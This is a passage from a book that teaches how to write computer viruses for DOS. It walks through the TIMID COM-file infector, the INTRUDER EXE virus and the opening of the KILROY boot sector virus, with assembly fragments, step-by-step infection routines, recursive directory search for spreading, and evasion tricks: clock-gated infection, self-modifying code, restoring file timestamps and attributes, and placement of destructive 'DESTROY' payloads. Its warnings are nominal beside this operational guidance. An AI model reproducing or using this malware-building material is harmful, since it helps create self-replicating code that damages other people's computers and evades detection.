DLE. We cannot just define a word in memory using an assembler
directive like
HANDLE DW 0
and then assemble the virus and run it. If we do that, it will work
right the first time. Once it has attached itself to a new program,
though, all the memory addresses will have changed, and the virus
will be in big trouble. It will either bomb out itself, or cause its host
program to bomb.
There are two ways to avoid catastrophe here. Firstly, one
could put all of the data together in one place, and write the program
to dynamically determine where the data is and store that value in
a register (e.g. si) to access it dynamically, like this:
mov bx,[si+HANDLE_OFS]
where HANDLE_OFS is the offset of the variable HANDLE from
the start of the data area.
Alternatively, we could put all of the data in a fixed location
in the code segment, provided we're sure that neither the virus nor
the host will ever occupy that space. The only safe place to do this
is at the very end of the segment, where the stack resides. Since the
Initial Host
(10 Kb)
Virus
Code
HANDLE
New Host
(12 Kb)
Virus
Code
HANDLE
Relative Code
Absolute Data
Infection
Figure 9: Absolute data address catastrophe.
Case Number One: A Simple COM File Infector 45
virus takes control of the CPU first when the COM file is executed,
it will control the stack also. Thus we can determine exactly what
the stack is doing, and stay out of its way. This is the method we
choose.
When the virus first gains control, the stack pointer, sp, is
set to FFFF Hex. If it calls a subroutine, the address directly after
the call is placed on the stack, in the bytes FFFF Hex and FFFE
Hex in the program's segment, and the stack pointer is decremented
by two, to FFFD Hex. When the CPU executes the return instruc
tion in the subroutine, it uses the two bytes stored by the call to
determine where to return to, and increments the stack pointer by
two. Likewise, executing a push instruction decrements the stack
by two bytes and stores the desired register at the location of the
stack pointer. The pop instruction reverses this process. The int
instruction requires five bytes of stack space, and this includes calls
to hardware interrupt handlers, which may be accessed at any time
in the program without warning, one on top of the other.
The data area for the virus can be located just below the
memory required for the stack. The exact amount of stack space
required is rather difficult to determine, but 80 bytes will be more
than sufficient. The data will go right below these 80 bytes, and in
this manner its location may be fixed. Onemust simply take account
of the space it takes up when determining the maximum size of a
COM file in the FILE_OK routine.
Of course, one cannot put initialized variables on the stack.
They must be stored with the program on disk. To store them near
the end of the program segment would require the virus to expand
the file size of every file to near the 64K limit. Such a drastic change
in file sizes would quickly tip the user off that his system has been
infected! Instead, initialized variables should be stored with the
executable virus code. This strategy will keep the number of bytes
which must be added to the host to a minimum. (Thus it is a
worthwhile antidetection measure.) The drawback is that such
variables must then be located dynamically by the virus at run time.
Fortunately, we have only one piece of data which must be
preinitialized, the string used by DOS in the search routine to
locate COM files, which we called simply ``COMFILE''. If you take
a look back to the search routine, you'll notice that we already took
46 The Little Black Book of Computer Viruses
the relocatability of this piece of data into account when we
retrieved it using the instructions
mov dx,WORD PTR [VIR_START]
add dx,OFFSET COMFILE OFFSET VIRUS
instead of simply
mov dx,OFFSET COMFILE
The Master Control Routine
Now we have all the tools to write the TIMID virus. All
that is necessary is a master control routine to pull everything
together. This master routine must:
1) Dynamically determine the location (offset) of the
virus in memory.
2) Call the search routine to find a new program to infect.
3) Infect the program located by the search routine, if it
found one.
4) Return control to the host program.
To determine the location of the virus in memory, we use
a simple trick. The first instruction in the master control routine
will look like this:
VIRUS:
COMFILE DB '*.COM',0
VIRUS_START:
call GET_START
GET_START:
sub WORD PTR [VIR_START],OFFSET GET_START OFFSET VIRUS
The call pushes the absolute address of GET_START onto the stack
at FFFC Hex (since this is the first instruction of the virus, and the
first instruction to use the stack). At that location, we overlay the
stack with a word variable called VIR_START. We then subtract
the difference in offsets between GET_START and the first byte of
the virus, labeled VIRUS. This simple programming trick gets the
Case Number One: A Simple COM File Infector 47
absolute offset of the first byte of the virus in the program segment,
and stores it in an easily accessible variable.
Next comes an important antidetection step: The master
control routine moves the DiskTransfer Area (DTA) to the data area
for the virus using DOS function 1A Hex,
mov dx,OFFSET DTA
mov ah,1AH
int 21H
This move is necessary because the search routine will modify data
in the DTA. When a COM file starts up, the DTA is set to a default
value of an offset of 80 H in the program segment. The problem is
that if the host program requires command line parameters, they
are stored for the program at this same location. If the DTA were
not changed temporarily while the virus was executing, the search
routine would overwrite any command line parameters before the
host program had a chance to access them. That would cause any
infected COM program which required a command line parameter
to bomb. The virus would execute just fine, and host programs that
required no parameters would run fine, but the user could spot
trouble with some programs. Temporarily moving the DTA elimi
nates this problem.
With the DTA moved, the main control routine can safely
call the search and copy routines:
call FIND_FILE ;try to find a file to infect
jnz EXIT_VIRUS ;jump if no file was found
call INFECT ;else infect the file
EXIT_VIRUS:
Finally, the master control routine must return control to the host
program. This involves three steps: Firstly, restore the DTA to its
initial value, offset 80H,
mov dx,80H
mov ah,1AH
int 21H
48 The Little Black Book of Computer Viruses
Next, move the first five bytes of the original host program from
the data area START_CODE where they are stored to the start of
the host program at 100H,
Finally, the virus must transfer control to the host program
at 100H. This requires a trick, since one cannot simply say ``jmp
100H'' because such a jump is relative, so that instruction won't be
jumping to 100H as soon as the virus moves to another file, and that
spells disaster. One instruction which does transfer control to an
absolute offset is the return from a call. Since we did a call right at
the start of the master control routine, and we haven't executed the
corresponding return yet, executing the ret instruction will both
transfer control to the host, and it will clear the stack. Of course,
the return address must be set to 100H to transfer control to the
host, and not somewhere else. That return address is just the word
at VIR_START. So, to transfer control to the host, we write
mov WORD PTR [VIR_START],100H
ret
Bingo, the host program takes over and runs as if the virus had never
been there.
As written, this master control routine is a little dangerous,
because it will make the virus completely invisible to the user when
he runs a program... so it could get away. It seems wise to tame the
beast a bit when we are just starting. So, after the call to INFECT,
let's just put a few extra lines in to display the name of the file which
the virus just infected:
call INFECT
mov dx,OFFSET FNAME ;dx points to FNAME
mov WORD PTR [HANDLE],24H ;'$' string terminator
mov ah,9 ;DOS string write fctn
int 21H
EXIT_VIRUS:
This uses DOS function 9 to print the string at FNAME, which is
the name of the file that was infected. Note that if someone wanted
to make a malicious monster out of this virus, the destructive code
could easily be put here, or after EXIT_VIRUS, depending on the
conditions under which destructive activity was desired. For exam
Case Number One: A Simple COM File Infector 49
ple, our hacker could write a routine called DESTROY, which
would wreak all kinds of havoc, and then code it in like this:
call INFECT
call DESTROY
EXIT_VIRUS:
if one wanted to do damage only after a successful infection took
place, or like this:
call INFECT
EXIT_VIRUS:
call DESTROY
if one wanted the damage to always take place, no matter what, or
like this:
call FIND_FILE
jnz DESTROY
call INFECT
EXIT_VIRUS:
if one wanted damage to occur only in the event that the virus could
not find a file to infect, etc., etc. I say this not to suggest that you
write such a routine---please don't---but just to show you how easy
it would be to control destructive behavior in a virus (or any other
program, for that matter).
The First Host
To compile and run the virus, it must be attached to a host
program. It cannot exist by itself. In writing the assembly language
code for this virus, we have to set everything up so the virus thinks
it's already attached to someCOM file. All that is needed is a simple
program that does nothing but exit to DOS. To return control to
DOS, a program executed DOS function 4C Hex. That just stops
the program from running, and DOS takes over. When function 4C
is executed, a return code is put in al by the program making the
call, where al=0 indicates successful completion of the program.
Any other value indicates some kind of error, as determined by the
50 The Little Black Book of Computer Viruses
program making the DOS call. So, the simplest COM program
would look like this:
mov ax,4C00H
int 21H
Since the virus will take over the first five bytes of a COM
file, and since you probably don't know how many bytes the above
two instructions will take up, let's put five NOP (no operation)
instructions at the start of the host program. These take up five bytes
which do nothing. Thus, the host program will look like this:
HOST:
nop
nop
nop
nop
nop
mov ax,4C00H
int 21H
We don't want to code it like that though! We code it to
look just like it would if the virus had infected it. Namely, the NOP's
will be stored at START CODE,
START_CODE:
nop
nop
nop
nop
nop
and the first five bytes of the host will consist of a jump to the virus
and the letters ``VI'':
HOST:
jmp NEAR VIRUS_START
db 'VI'
mov ax,4C00H
int 21H
There, that's it. The TIMID virus is listed in its entirety in Appendix
A, along with everything you need to compile it correctly.
Case Number One: A Simple COM File Infector 51
I realize that you might be overwhelmed with new ideas
and technical details at this point, and for me to call this virus
``simple'' might be discouraging. If so, don't lose heart. Study it
carefully. Go back over the text and piece together the various
functional elements, one by one. And if you feel confident, you
might try putting it in a subdirectory of its own on your machine
and giving it a whirl. If you do though, be careful! Proceed at your
own risk! It's not like any other computer program you've ever run!
52 The Little Black Book of Computer Viruses
Case Number Two:
A Sophisticated Executable Virus
The simple COM file infector which we just developed
might be good instruction on the basics of how to write a virus, but
it is severely limited. Since it only attacks COM files in the current
directory, it will have a hard time proliferating. In this chapter, we
will develop a more sophisticated virus that will overcome these
limitations. . . . a virus that can infect EXE files and jump directory
to directory and drive to drive. Such improvements make the virus
much more complex, and also much more dangerous. We started
with something simple and relatively innocuous in the last chapter.
You can't get into too much trouble with it. However, I don't want
to leave you with only children's toys. The virus we discuss in this
chapter, named INTRUDER, is no toy. It is very capable of finding
its way into computers all around the world, and deceiving a very
capable computer whiz.
The Structure of an EXE File
An EXE file is not as simple as a COM file. The EXE file
is designed to allow DOS to execute programs that require more
than 64 kilobytes of code, data and stack. When loading an EXE
file, DOS makes no a priori assumptions about the size of the file,
or what is code or data. All of this information is stored in the EXE
file itself, in the EXE Header at the beginning of the file. This
header has two parts to it, a fixedlength portion, and a variable
length table of pointers to segment references in the Load Module,
called the Relocation Pointer Table. Since any virus which attacks
EXE files must be able to manipulate the data in the EXE Header,
we'd better take some time to look at it. Figure 10 is a graphical
representation of an EXE file. The meaning of each byte in the
header is explained in Table 1.
When DOS loads the EXE, it uses the Relocation Pointer
Table to modify all segment references in the Load Module. After
that, the segment references in the image of the program loaded
into memory point to the correct memory location. Let's consider
an example (Figure 11): Imagine an EXE file with two segments.
The segment at the start of the load module contains a far call to
the second segment. In the load module, this call looks like this:
Address Assembly Language Machine Code
0000:0150 CALL FAR 0620:0980 9A 80 09 20 06
From this, one can infer that the start of the second segment is
6200H (= 620H x 10H) bytes from the start of the load module. The
Relocation Pointer Table
EXE File Header
EXE Load Module
Figure 10: The layout of an EXE file.
54 The Little Black Book of Computer Viruses
Relocatable Ptr Table
EXE Header
0000:0150
0620:0980
0000:0153
CALL FAR 0620:0980
Routine X
Load
Module
ON DISK
PSP
CALL FAR 2750:0980
Routine X
IN RAM
Executable
Machine
Code
2750:0980
2130:0150
2130:0000
DOS
Figure 11: An example of relocating code.
Case Number Two: A Sophisticated Executable Virus 55
Table 1: Structure of the EXE Header.
Offset Size Name Description
0 2 Signature These bytes are the characters M
and Z in every EXE file and iden
tify the file as an EXE file. If
they are anything else, DOS will
try to treat the file as a COM
file.
2 2 Last Page Size Actual number of bytes in the
final 512 byte page of the file
(see Page Count).
4 2 Page Count The number of 512 byte pages in
the file. The last page may only
be partially filled, with the
number of valid bytes specified in
Last Page Size. For example a file
of 2050 bytes would have Page Size
= 4 and Last Page Size = 2.
6 2 Reloc Table Entries The number of entries in the re
location pointer table
8 2 Header Paragraphs The size of the EXE file header
in 16 byte paragraphs, including
the Relocation table. The header
is always a multiple of 16 bytes
in length.
0AH 2 MINALLOC The minimum number of 16 byte
paragraphs of memory that the pro
gram requires to execute. This is
in addition to the image of the
program stored in the file. If
enough memory is not available,
DOS will return an error when it
tries to load the program.
0CH 2 MAXALLOC The maximum number of 16 byte
paragraphs to allocate to the pro
gram when it is executed. This is
normally set to FFFF Hex, except
for TSR's.
0EH 2 Initial ss This contains the initial value
of the stack segment relative to
the start of the code in the EXE
file, when the file is loaded.
This is modified dynamically by
DOS when the file is loaded, to
reflect the proper value to store
in the ss register.
10H 2 Initial sp The initial value to set sp to
when the program is executed.
12H 2 Checksum A word oriented checksum value
such that the sum of all words in
the file is FFFF Hex. If the file
is an odd number of bytes long,
the lost byte is treated as a
word with the high byte = 0.
Often this checksum is used for
nothing, and some compilers do
not even bother to set it proper
56 The Little Black Book of Computer Viruses
Offset Size Name Description
12H (Cont) properly. The INTRUDER virus
will not alter the checksum.
14H 2 Initial ip The initial value for the
instruction pointer, ip, when
the program is loaded.
16H 2 Initial cs Initial value of the code seg
ment relative to the start of
the code in the EXE file. This
is modified by DOS at load time.
18H 2 Relocation Tbl Offset Offset of the start of the
relocation table from the start
of the file, in bytes.
1AH 2 Overlay Number The resident, primary part of a
program always has this word set
to zero. Overlays will have dif
ferent values stored here.
Table 1: Structure of the EXE Header (continued).
Relocation Pointer Table would contain a vector 0000:0153 to point
to the segment reference (20 06) of this far call. When DOS loads
the program, it might load it starting at segment 2130H, because
DOS and some memory resident programs occupy locations below
this. So DOS would first load the Load Module into memory at
2130:0000. Then it would take the relocation pointer 0000:0153
and transform it into a pointer, 2130:0153 which points to the
segment in the far call in memory. DOS will then add 2130H to the
word in that location, resulting in the machine language code 9A
80 09 50 27, or CALL FAR 2750:0980 (See Figure 11).
Note that a COM program requires none of these calisthen
ics since it contains no segment references. Thus, DOS just has to
set the segment registers all to one value before passing control to
the program.
Infecting an EXE File
A virus that is going to infect an EXE file will have to
modify the EXE Header and the Relocation Pointer Table, as well
as adding its own code to the Load Module. This can be done in a
whole variety of ways, some of which require more work than
others. The INTRUDER virus will attach itself to the end of an EXE
program and gain control when the program first starts. This will
Case Number Two: A Sophisticated Executable Virus 57
require a routine similar to that in TIMID, which copies program
code from memory to a file on disk, and then adjusts the file.
INTRUDER will have its very own code, data and stack
segments. A universal EXE virus cannot make any assumptions
about how those segments are set up by the host program. It would
crash as soon as it finds a program where those assumptions are
violated. For example, if one were to use whatever stack the host
program was initialized with, the stack could end up right in the
middle of the virus code with the right host. (That memory would
have been free space before the virus had infected the program.) As
soon as the virus started making calls or pushing data onto the stack,
it would corrupt its own code and selfdestruct.
To set up segments for the virus, new initial segment values
for cs and ss must be placed in the EXE file header. Also, the old
initial segments must be stored somewhere in the virus, so it can
pass control back to the host program when it is finished executing.
We will have to put two pointers to these segment references in the
relocation pointer table, since they are relocatable references inside
the virus code segment.
Adding pointers to the relocation pointer table brings up
an important question. To add pointers to the relocation pointer
table, it may sometimes be necessary to expand that table's size.
Since the EXE Header must be a multiple of 16 bytes in size,
relocation pointers are allocated in blocks of four four byte pointers.
Thus, if we can keep the number of segment references down to
two, it will be necessary to expand the header only every other time.
On the other hand, the virus may choose not to infect the file, rather
than expanding the header. There are pros and cons for both
possibilities. On the one hand, a load module can be hundreds of
kilobytes long, and moving it is a time consuming chore that can
make it very obvious that something is going on that shouldn't be.
On the other hand, if the virus chooses not to move the load module,
then roughly half of all EXE files will be naturally immune to
infection. The INTRUDER virus will take the quiet and cautious
approach that does not infect every EXE. You might want to try the
other approach as an exercise, and move the load module only when
necessary, and only for relatively small files (pick a maximum size).
Suppose the main virus routine looks something like this:
58 The Little Black Book of Computer Viruses
VSEG SEGMENT
VIRUS:
mov ax,cs ;set ds=cs for virus
mov ds,ax
.
.
.
mov ax,SEG HOST_STACK ;restore host stack
cli
mov ss,ax
mov sp,OFFSET HOST_STACK
sti
jmp FAR PTR HOST ;go execute host
Then, to infect a new file, the copy routine must perform the
following steps:
1. Read the EXE Header in the host program.
2. Extend the size of the load module until it is an even
multiple of 16 bytes, so cs:0000 will be the first byte
of the virus.
3. Write the virus code currently executing to the end of
the EXE file being attacked.
4. Write the initial values of ss:sp, as stored in the EXE
Header, to the locations of SEG HOST_STACK and
OFFSET HOST_STACK on disk in the above code.
5. Write the initial value of cs:ip in the EXE Header to
the location of FAR PTR HOST on disk in the above
code.
6. Store Initial ss=SEG VSTACK, Initial sp=OFFSET
VSTACK, Initial cs=SEG VSEG, and Initial
ip=OFFSET VIRUS in the EXE header in place of the
old values.
7. Add two to the Relocation Table Entries in the EXE
header.
8. Add two relocation pointers at the end of the Reloca
tion Pointer Table in the EXE file on disk (the location
of these pointers is calculated from the header). The
first pointer must point to SEG HOST_STACK in the
instruction
Case Number Two: A Sophisticated Executable Virus 59
mov ax,HOST_STACK
The second should point to the segment part of the
jmp FAR PTR HOST
instruction in the main virus routine.
9. Recalculate the size of the infected EXE file, and
adjust the header fields Page Count and Last Page
Size accordingly.
10. Write the new EXE Header back out to disk.
All the initial segment values must be calculated from the size of
the load module which is being infected. The code to accomplish
this infection is in the routine INFECT in Appendix B.
A Persistent File Search Mechanism
As in the TIMID virus, the search mechanism can be
broken down into two parts: FIND_FILE simply locates possible
files to infect. FILE_OK, determines whether a file can be infected.
The FILE_OK procedure will be almost the same as the
one in TIMID. It must open the file in question and determine
whether it can be infected and make sure it has not already been
infected. The only two criteria for determining whether an EXE file
can be infected are whether the Overlay Number is zero, and
whether it has enough room in its relocation pointer table for two
more pointers. The latter requirement is determined by a simple
calculation from values stored in the EXE header. If
16*Header Paragraphs4*Relocation Table EntriesRelocation Table Offset
is greater than or equal to 8 (=4 times the number of relocatables
the virus requires), then there is enough room in the relocation
pointer table. This calculation is performed by the subroutine
REL_ROOM, which is called by FILE_OK.
To determine whether the virus has already infected a file,
we put an ID word with a preassigned value in the code segment
60 The Little Black Book of Computer Viruses
at a fixed offset (say 0). Then, when checking the file, FILE_OK
gets the segment from the Initial cs in the EXE header. It uses that
with the offset 0 to find the ID word in the load module (provided
the virus is there). If the virus has not already infected the file,
Initial cs will contain the initial code segment of the host program.
Then our calculation will fetch some random word out of the file
which probably won't match the ID word's required value. In this
way FILE_OK will know that the file has not been infected. So
FILE_OK stays fairly simple.
However, we want to design a much more sophisticated
FIND_FILE procedure than TIMID's. The procedure in TIMID
could only search for files in the current directory to attack. That
was fine for starters, but a good virus should be able to leap from
directory to directory, and even from drive to drive. Only in this
way does a virus stand a reasonable chance of infecting a significant
portion of the files on a system, and jumping from system to system.
To search more than one directory, we need a tree search
routine. That is a fairly common algorithm in programming. We
write a routine FIND_BR, which, given a directory, will search it
for an EXE which will pass FILE_OK. If it doesn't find a file, it
will proceed to search for subdirectories of the currently referenced
directory. For each subdirectory found, FIND_BR will recursively
call itself using the new subdirectory as the directory to perform a
search on. In this manner, all of the subdirectories of any given
directory may be searched for a file to infect. If one specifies the
directory to search as the root directory, then all files on a disk will
get searched.
Making the search too long and involved can be a problem
though. A large hard disk can easily contain a hundred subdirecto
ries and thousands of files. When the virus is new to the system it
will quickly find an uninfected file that it can attack, so the search
will be unnoticably fast. However, once most of the files on the
system are already infected, the virus might make the disk whirr
for twenty seconds while examining all of the EXE's on a given
drive to find one to infect. That could be a rather obvious clue that
something is wrong.
To minimize the search time, we must truncate the search
in such a way that the virus will still stand a reasonable chance of
Case Number Two: A Sophisticated Executable Virus 61
infecting every EXE file on the system. To do that we make use of
the typical PC user's habits. Normally, EXE's are spread pretty
evenly throughout different directories. Users often put frequently
used programs in their path, and execute them from different
directories. Thus, if our virus searches the current directory, and all
of its subdirectories, up to two levels deep, it will stand a good
chance of infecting a whole disk. As added insurance, it can also
search the root directory and all of its subdirectories up to one level
deep. Obviously, the virus will be able to migrate to different drives
and directories without searching them specifically, because it will
attack files on the current drive when an infected program is
executed, and the program to be executed need not be on the current
drive.
When coding the FIND_FILE routine, it is convenient to
structure it in three levels. First is a master routine FIND_FILE,
which decides which subdirectory branches to search. The second
level is a routine which will search a specified directory branch to
FIND_FILE
FINDBR
FINDEXE
FILE_OK
FIRSTDIR
NEXTDIR
SUBDIR1
(CURRENT)
SUBDIR2
SD11 SD12 SD21
SD111 SD112 SD121 SD211
SD1112 SD1113 SD2111 SD2112
ROOT DIR
Figure 12: Logic of the file search routines.
62 The Little Black Book of Computer Viruses
a specified level, FIND_BR. When FIND_BR is called, a directory
path is stored as a null terminated ASCII string in the variable
USEFILE, and the depth of the search is specified in LEVEL. At
the third level of the search algorithm, one routine searchs for EXE
files (FINDEXE) and two search for subdirectories (FIRSTDIR
and NEXTDIR). The routine that searches for EXE files will call
FILE_OK to determine whether each file it finds is infectable, and
it will stop everything when it finds a good file. The logic of this
searching sequence is illustrated in Figure 12. The code for these
routines is also listed in Appendix B.
AntiDetection Routines
A fairly simple antidetection tactic can make this virus
muchmore difficult for the human eye to locate: Simply don't allow
the search and copy routines to execute every time the virus gets
control. One easy way of doing that is to look at the system clock,
and see if the time in ticks (1 tick = 1/18.2 seconds) modulo some
number is zero. If it is, execute the search and copy routines,
otherwise just pass control to the host program. This antidetection
routine will look like this:
SHOULDRUN:
xor ah,ah ;read time using
int 1AH ;BIOS time of day service
and al,63
ret
This routine returns with z set roughly one out of 64 times. Since
programs are not normally executed in sync with the clock timer,
it will essentially return a z flag randomly. If called in the main
control routine like this:
call SHOULDRUN
jnz FINISH ;don't infect unless z set
call FIND_FILE
jnz FINISH ;don't infect without valid file
call INFECT
FINISH:
Case Number Two: A Sophisticated Executable Virus 63
the virus will attack a file only one out of every 64 times the host
program is called. Every other time, the virus will just pass control
to the host without doing anything. When it does that, it will be
completely invisible even to the most suspicious eye.
The SHOULDRUN routine would pose a problem if you
wanted to go and infect a system with it. You might have to sit there
and run the infected program 50 or 100 times to get the virus to
move to one new file on that system. That is annoying, and prob
lematic if you want to get it into a system with minimal risk.
Fortunately, a slight change can fix it. Just change SHOULDRUN
to look like this:
SHOULDRUN:
xor ah,ah
SR1: ret
int 1AH
and al,63
ret
and include another routine to modify the SHOULDRUN routine,
SETSR:
mov al,90H ;NOP instruction = 90H
mov BYTE PTR [SR1],al
ret
which can be incorporated into the main control routine like this:
call SHOULDRUN
jnz FINISH
call SETSR
call FIND_FILE
jnz FINISH
call INFECT
FINISH:
After SETSR has been executed, and before INFECT, the
SHOULDRUN routine becomes
SHOULDRUN:
xor ah,ah
SR1: nop
int 1AH
and al,63
ret
64 The Little Black Book of Computer Viruses
since the 90H which SETSR puts at SR1 is just a NOP instruction.
When INFECT copies the virus to a new file, it copies it with the
modified SHOULDRUN procedure. The result is that the first time
the virus is executed, it definitely searches for a file and infects it.
After that it goes to the 1outof64 infection scheme. In this way,
you can take the virus as assembled into the EXE, IN
TRUDER.EXE, and run it and be guaranteed to infect something.
After that, the virus will infect the system more slowly.
Another useful tactic that we do not employ here is to make
the first infection very rare, and then more frequent after that. This
might be useful in getting the virus through a BBS, where it is
carefully checked for infectious behavior, and if none is seen, it is
passed around. (That's a hypothetical situation only, please don't
do it!) In such a situation, no one person would be likely to spot the
virus by sitting down and playing with the program for a day or
two, even with a sophisticated virus checker handy. However, if a
lot of people were to pick up a popular and useful (infected)
program that they used daily, they could all end up infected and
spreading the virus eventually.
The tradeoff in restraining the virus to infect only every
one in N times is that it slows the infection rate down. What might
take a day with no restraints may take a week, a month, or even a
year, depending on how often the virus is allowed to reproduce.
There are no clear rules to determine what is best---a quickly
reproducing virus or one that carefully avoids being noticed---it all
depends on what you're trying to do with it.
Another important antidetection mechanism incorporated
into INTRUDER is that it saves the date and time of the file being
infected, along with its attribute. Then it changes the file attribute
to read/write, performs the modifications on the file, and restores
the original date, time and attribute. Thus, the infected EXE does
not have the date and time of the infection, but its original date and
time. The infection cannot be traced back to its source by studying
the dates of the infected files on the system. Also, since the original
attribute is restored, the archive bit never gets set, so the user who
performs incremental backups does not find all of his EXE's getting
backed up one day (a strange sight indeed). As an added bonus, the
virus can infect readonly and system files without a hitch.
Case Number Two: A Sophisticated Executable Virus 65
Passing Control to the Host
The final step the virus must take is to pass control to the
host program without dropping the ball. To do that, all the registers
should be set up the same as they would be if the host program were
being executed without the virus. We already discussed setting up
cs:ip and ss:sp. Except for these, only the ax register is set to a
specific value by DOS, to indicate the validity of the drive ID in the
FCB's in the PSP. If an invalid identifier (i.e. ``D:'', when a system
has no D drive) is in the first FCB at 005C, al is set to FF Hex, and
if the identifier is valid, al=0. Likewise, ah is set to FF if the
identifier in the FCB at 006C is invalid. As such, ax can simply be
saved when the virus starts and restored before it transfers control
to the host. The rest of the registers are not initialized by DOS, so
we need not be concerned with them.
Of course, the DTA must also be moved when the virus is
first fired up, and then restored when control is passed to the host.
Since the host may need to access parameters which are stored
there, moving the DTA temporarily is essential since it avoids
overwriting those parameters during the search operation.
WARNING
Unlike the TIMID virus, INTRUDER contains no notice
that it is infecting a file. It contains nothing but routines that will
help it reproduce. Although it is not intentionally destructive, it is
extremely infective and easy to overlook. . . and difficult to get rid
of once it gets started. Therefore, DO NOT RUN THIS VIRUS,
except in a very carefully controlled environment. The listing in
Appendix B contains the code for the virus. A locator program,
FINDINT, is also supplied, so if you do run the virus, you'll be able
to see which files have been infected by it.
66 The Little Black Book of Computer Viruses
Case Number Three:
A Simple Boot Sector Virus
The boot sector virus can be the simplest or the most
sophisticated of all computer viruses. On the one hand, the boot
sector is always located in a very specific place on disk. Therefore,
both the search and copy mechanisms can be extremely quick and
simple, if the virus can be contained wholly within the boot sector.
On the other hand, since the boot sector is the first code to gain
control after the ROM startup code, it is very difficult to stop before
it loads. If one writes a boot sector virus with sufficiently sophisti
cated antidetection routines, it can also be very difficult to detect
after it loads, making the virus nearly invincible. In the next two
chapters we will examine both extremes. This chapter will take a
look at one of the simplest of all boot sector viruses to learn the
basics of how they work. The following chapter will dig into the
details of a fairly sophisticated one.
Boot Sectors
To understand the operation of a boot sector virus one must
first understand how a normal, uninfected boot sector works. Since
the operation of a boot sector is hidden from the eyes of a casual
user, and often ignored by books on PC's, we will discuss them
here.
When a PC is first turned on, the CPU begins executing the
machine language code at the location F000:FFF0. The system
BIOS ROM (BasicInputOutputSystem ReadOnlyMemory) is
located in this high memory area, so it is the first code to be executed
by the computer. This ROM code is written in assembly language
and stored on chips (EPROMS) inside the computer. Typically this
code will perform several functions necessary to get the computer
up and running properly. First, it will check the hardware to see
what kinds of devices are a part of the computer (e.g., color or mono
monitor, number and type of disk drives) and it will see whether
these devices are working correctly. The most familiar part of this
startup code is the memory test, which cycles through all the
memory in the machine twice, displaying the addresses on the
screen. The startup code will also set up an interrupt table in the
lowest 1024 bytes of memory. This table provides essential entry
points (interrupt vectors) so all programs loaded later can access
the BIOS services. The BIOS startup code also initializes a data
area for the BIOS starting at the memory location 0040:0000H,
right above the interrupt vector table. Once these various house
keeping chores are done, the BIOS is ready to transfer control to
the operating system for the computer, which is stored on disk.
But which disk? Where on that disk? What does it look
like? How big is it? How should it be loaded and executed? If the
BIOS knew the answers to all of these questions, it would have to
be configured for one and only one operating system. That would
be a problem. As soon as a new operating system (like OS/2) or a
new version of an old familiar (like MSDOS 4.0) came out, your
computer would become obsolete! For example, a computer set up
with PCDOS 2.0 could not run MSDOS 3.3, or Xenix. Amachine
set up with CPM86 (an old, obsolete operating system) could run
none of the above. That wouldn't be a very pretty picture.
The boot sector provides a valuable intermediate step in
the process of loading the operating system. It works like this: the
BIOS remains ignorant of the operating system you wish to use.
However, it knows to first go out to floppy disk drive A: and attempt
to read the first sector on that disk (at Track 0, Head 0, Sector 1)
into memory at location 0000:7C00H. If the BIOS doesn't find a
disk in drive A:, it looks for the hard disk drive C:, and tries to load
68 The Little Black Book of Computer Viruses
its first sector. (And if it can't find a disk anywhere, it will either
go into ROM Basic or generate an error message, depending on
what kind of a computer it is.) Once the first sector (the boot sector)
has been read into memory, the BIOS checks the last two bytes to
see if they have the values 55H AAH. If so, the BIOS assumes it
has found a valid boot sector, and transfers control to it at
0000:7C00H. From this point on, it is the boot sector's responsibil
ity to load the operating system into memory and get it going,
whatever the operating system may be. In this way the BIOS (and
the computer manufacturer) avoids having to know anything about
what operating system will run on the computer. Each operating
system will have a unique disk format and its own configuration,
its own system files, etc. As long as every operating system puts a
boot sector in the first sector on the disk, it will be able to load and
run.
Since a sector is normally only 512 bytes long, the boot
sector must be a very small, rude program. Generally, it is designed
to load another larger file or group of sectors from disk and then
pass control to them. Where that larger file is depends on the
operating system. In the world of DOS, most of the operating
Loaded by BIOS
Loaded by the Boot sector
(RAM)
Figure 13: Loading the DOS operating system.
IBMBIO.COM
Boot Sector
ROM BIOS
0000:7C00
0000:0700
F000:0000
Case Number Three: A Simple Boot Sector Virus 69
system is kept in three files on disk. One is the familiar COM
MAND.COM and the other two are hidden files (hidden by setting
the ``hidden'' file attribute) which are tucked away on every DOS
boot disk. These hidden files must be the first two files on a disk in
order for the boot sector to work properly. If they are anywhere else,
DOS cannot be loaded from that disk. The names of these files
depend on whether you're using PCDOS (from IBM) or MSDOS
(from Microsoft). Under PCDOS, they're called IBMBIO.COM
and IBMDOS.COM. Under MSDOS they're called IO.SYS and
MSDOS.SYS.
When a normal DOS boot sector executes, it first deter
mines the important disk parameters for the particular disk it is
installed on. Next it checks to see if the two hidden operating system
files are on the disk. If they aren't, the boot sector displays an error
message and stops the machine. If they are there, the boot sector
tries to load the IBMBIO.COM or IO.SYS file into memory at
location 0000:0700H. If successful, it then passes control to that
program file, which continues the process of loading the PC/MS
DOS operating system. That's all the boot sector on a floppy disk
does.
A hard drive is a little more complex. It will contain two
(or more) boot sectors instead of just one. Since a hard drive can
be divided into more than one partition (an area on the disk for the
use of an operating system), it may contain several different oper
ating systems. When the BIOS loads the boot sector in the first
physical sector on the hard drive, it treats it just the same as a floppy
drive. However, the sector that gets loaded performs a completely
different function. Rather than loading an operating system's code,
this sector handles the partition information, which is also stored
in that sector (by the FDISK program in DOS). No matter how
many partitions a disk may have, one of them must be made active
(by setting a byte in the partition table) to boot off the hard disk.
The first boot sector determines which partition is active, moves
itself to a different place in memory, and then loads the first sector
in the active partition into memory (at 0000:7C00H), where the
partition boot sector originally was. The first sector in the active
partition is the operating system boot sector which loads the oper
70 The Little Black Book of Computer Viruses
ating system into memory. It is virtually identical to the boot sector
on floppy disk.
Designing a boot sector virus can be fairly simple---at least
in principle. All that such a virus must do is take over the first sector
on disk (or the first sector in the active partition of a hard disk, if it
prefers to go after that). From there, it tries to find uninfected disks
in the system. Problems arise when that virus becomes so compli
cated that it takes up too much room. Then the virus must become
two or more sectors long, and the author must find a place to hide
multiple sectors, load them, and copy them. This can be a messy
and difficult job. If a single sector of code could be written that
could both load the DOS operating system and copy itself to other
disks, one would have a very simple virus which would be practi
cally impossible for the unsuspecting user to detect. Such is the
virus we will discuss in this chapter. Its name is KILROY.
Rather than designing a virus that will infect a boot sector,
it is much easier to design a virus that simply is a selfreproducing
boot sector. That is because boot sectors are pretty cramped---there
Partition
Boot Sector
DOS
Boot Sector
DOS
Boot Sector
Operating
System
(IO.SYS)
Partition
Boot Sector
(1) (2) (3)
BIOS Loads
Partition Boot Sector
Partition Boot Sector Loads
DOS Boot Sector
DOS Boot Sector
Loads DOS
7C00
0600
7C00
0700
Figure 14: The hard disk boot sequence in three steps.
